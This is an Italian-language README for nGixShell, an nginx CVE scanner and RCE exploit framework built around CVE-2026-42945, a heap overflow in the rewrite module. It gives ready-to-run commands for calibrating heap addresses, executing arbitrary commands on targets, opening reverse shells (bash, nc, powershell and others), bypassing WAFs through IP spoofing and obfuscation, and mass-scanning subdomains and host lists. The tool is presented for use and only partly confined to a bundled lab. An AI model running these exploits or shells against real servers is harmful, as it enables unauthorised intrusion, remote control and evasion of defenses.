
scanner CVE per nginx + framework di exploit RCE (CVE-2026-42945 + altre 16)
nGixShell è un framework di scansione CVE e sfruttamento RCE per nginx. Include un proof-of-concept per CVE-2026-42945 (CVSS 3.1 8.1 HIGH secondo F5/NVD) — un heap buffer overflow in ngx_http_rewrite_module — e uno scanner che copre 64 CVE di nginx con probe HTTP automatizzati, fingerprinting, rilevamento/bypass di WAF, auditing della sicurezza web e generazione di report.
Zero dipendenze esterne. Solo stdlib di Python 3.
Prerequisiti dell'exploit (leggere prima).
--cmd/--shellfunzionano solo quando tutte queste condizioni sono vere: il target è x86_64, la configurazione vulnerabilerewrite+setè presente, ASLR è disabilitato, e gli indirizzi heap/libc sono stati calibrati per quella specifica build (calibrate.py→--build-file). Vedi Requisiti dell'exploit. Lo scanner stesso non ha tali requisiti.
# Spin up the vulnerable lab (builds nginx from source, ASLR disabled)
docker compose -f env/docker-compose.yml up -d --build
# Auto mode — fingerprint + CVE scan + web audit (works on any arch)
python3 ngixshell.py 127.0.0.1:19321
# RCE — calibrate, restart the worker for a clean heap, then exploit
W=$(pgrep -f 'nginx: worker' | head -1)
sudo python3 calibrate.py 127.0.0.1 19321 "$W" --spray-path /spray \
--spray-mode full --json -o profile.json
docker compose -f env/docker-compose.yml restart nginx-vuln
python3 ngixshell.py 127.0.0.1:19321 --cmd 'id > /tmp/rce.txt' \
--build-file profile.json
docker compose -f env/docker-compose.yml exec nginx-vuln cat /tmp/rce.txt
# Drop a reverse shell (IP auto-detected)
python3 ngixshell.py 127.0.0.1:19321 --shell --shell-type bash --upgrade-shell --build-file profile.json
# Detect and bypass WAF, then scan
python3 ngixshell.py 127.0.0.1:19321 --waf-bypass
# Subdomain scan
python3 ngixshell.py --subdomain-scan example.com --scan-port 443
# Multiple targets from a file (one report per target)
python3 ngixshell.py --target-file hosts.txt --json --html-report results.html
Nessun flag richiesto — puntare lo strumento verso un target esegue tutto automaticamente.
TLS è rilevato automaticamente. nginx viene identificato anche con server_tokens off.
system()non cattura stdout:--cmd 'id'viene eseguito ma non restituisce nulla. Usa un comando con un effetto collaterale osservabile e confermalo con--verify-url http://target/pwned(HTTP 200 = confermato).
python3 ngixshell.py [TARGET] [OPTIONS]
TARGET formats:
127.0.0.1
192.168.1.10:8080
http://192.168.1.10:8080
https://target.local
| Flag | Descrizione |
|---|---|
| (nessuno) | Auto — fingerprint + scansione CVE + audit web |
--cmd 'CMD' | Esegue un comando tramite RCE CVE-2026-42945 |
--cmd-file FILE | Esegue comandi da file (uniti con ;) |
--shell | Apre una reverse shell |
--shell-type TYPE | Payload: bash python perl php nc powershell (predefinito: python) |
--upgrade-shell | Invia automaticamente l'upgrade PTY dopo la connessione della shell |
--verify-url URL | Dopo un crash rilevato, recupera l'URL per confermare l'esecuzione del comando (200 = verificato) |
--subdomain-scan DOMAIN | Trova nginx vulnerabile sui sottodomini |
--cve CVE-ID | Testa una CVE specifica |
--list-cves | Stampa tutte le 64 CVE con CVSS e info sui probe |
--list-candidates | Stampa i candidati di indirizzo heap |
--dry-run | Solo fingerprint + scansione, nessun exploit |
--target-file FILE | Scansiona più host da un file |
| Flag | Descrizione |
|---|---|
--build-file FILE | Consigliato. Profilo di calibrazione JSON da calibrate.py --json -o FILE |
--offsets SPEC | Offset heap esadecimali separati da virgola da calibrate.py (es. 0x5a427,0x60e67) |
--heap-base HEX / --libc-base HEX / --system-addr HEX | Override manuali degli indirizzi |
--build KEY | Profilo integrato (solo il riferimento al lab DepthFirst è incluso) |
--rewrite-path PATH | Location rewrite vulnerabile (predefinito /api) |
--spray-path PATH | Location supportata da proxy_pass usata per lo spray del body POST (predefinito /upload; il lab incluso usa /spray) |
--spray-mode partial|full | partial: body corto + Content-Length grande (lab incluso); full: body completo + X-Delay (lab DepthFirst) |
--pad-a N / --pad-plus N | Padding del percorso di trigger prima della sequenza + (predefiniti 349 / 969, dal PoC del vendor) |
--continue-on-crash | Continua a provare i restanti candidati heap dopo un crash non verificato |
--tries N / --spray N / --body-len N | Tentativi di trigger per candidato / connessioni di spray / dimensione del body di spray |
| Flag | Descrizione |
|---|---|
--waf-detect | Rileva il WAF prima della scansione |
--waf-bypass | Abilita tutte le tecniche di bypass (esegue anche il rilevamento) |
--waf-ip IP | Falsifica questo IP negli header di bypass (predefinito: RFC1918 casuale) |
Tecniche di bypass (tutte attive quando --waf-bypass è impostato):
| Tecnica | Dettaglio |
|---|---|
| IP spoofing | X-Forwarded-For, X-Real-IP, X-Originating-IP, True-Client-IP, X-Remote-IP, X-Client-IP |
| Rotazione UA | 11 User-Agent reali di browser/bot, randomizzati per richiesta |
| Offuscamento del percorso | doppio slash, padding /./, percent-encoding, variazione di maiuscole/minuscole |
| Rimescolamento maiuscole header | randomizza il casing dei nomi degli header per rompere il pattern matching del WAF |
WAF rilevati: Cloudflare, AWS WAF, Akamai, Imperva/Incapsula, ModSecurity, F5 BIG-IP ASM, Sucuri, Barracuda, NAXSI, Fastly, Wordfence
Viene eseguito automaticamente in modalità scansione. Tutti i moduli possono essere saltati singolarmente.
| Flag | Descrizione |
|---|---|
--skip-headers | Salta l'audit degli header di sicurezza HTTP |
--skip-paths | Salta la scoperta di percorsi/file |
--skip-vhosts | Salta l'enumerazione degli virtual host |
--skip-tls | Salta l'audit del protocollo TLS |
--path-wordlist FILE | Percorsi aggiuntivi da sondare (uno per riga) |
/nginx_status se esposto| Flag | Descrizione |
|---|---|
--port PORT | Sovrascrive la porta |
--tls | Forza TLS (rilevato automaticamente per impostazione predefinita) |
--proxy URL | Proxy: http://, https://, socks5:// |
| Flag | Descrizione |
|---|---|
--user-agent UA | User-Agent personalizzato |
--auth USER:PASS | Autenticazione HTTP Basic |
--cookie VALUE | Header Cookie |
--header NAME:VALUE | Header aggiuntivo (ripetibile) |